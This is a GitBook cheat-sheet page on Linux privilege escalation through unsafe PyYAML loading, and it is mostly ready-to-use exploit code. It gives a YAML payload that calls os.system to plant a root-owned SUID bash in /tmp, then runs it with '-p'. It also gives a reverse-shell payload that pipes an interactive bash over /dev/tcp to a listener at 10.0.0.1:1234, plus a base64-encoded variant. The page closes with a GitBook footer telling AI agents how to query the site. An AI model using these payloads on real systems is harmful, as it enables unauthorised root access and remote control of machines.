> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-yaml-privilege-escalation.md).

# Python Yaml Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```python
import yaml

filename = "example.yml"
yaml.load()
Copied!
```

<br>

### [Payloads](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#payloads) <a href="#payloads" id="payloads"></a>

```python
import yaml
from yaml import Loader, UnsafeLoader

data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)
Copied!
```

Now execute the **`bash`** in privilege mode.

```bash
/tmp/bash -p
Copied!
```

#### [Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#reverse-shell) <a href="#reverse-shell" id="reverse-shell"></a>

Start a listener in local machine.

```bash
nc -lvnp 1234
Copied!
```

Then execute Python script that contains the following `YAML` code as root.

```python
import yaml
yaml.load('!!python/object/new:os.system ['bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1"'])
Copied!
```

#### [Base64 Encoding](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#base64-encoding) <a href="#base64-encoding" id="base64-encoding"></a>

Sometimes we might be able to remote code execution by using Base64 encoded payload.

```python
yaml.load(b64decode(b"ISFweXRa...YXNoIl0="))
Copied!
```

### References

* <https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-yaml-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
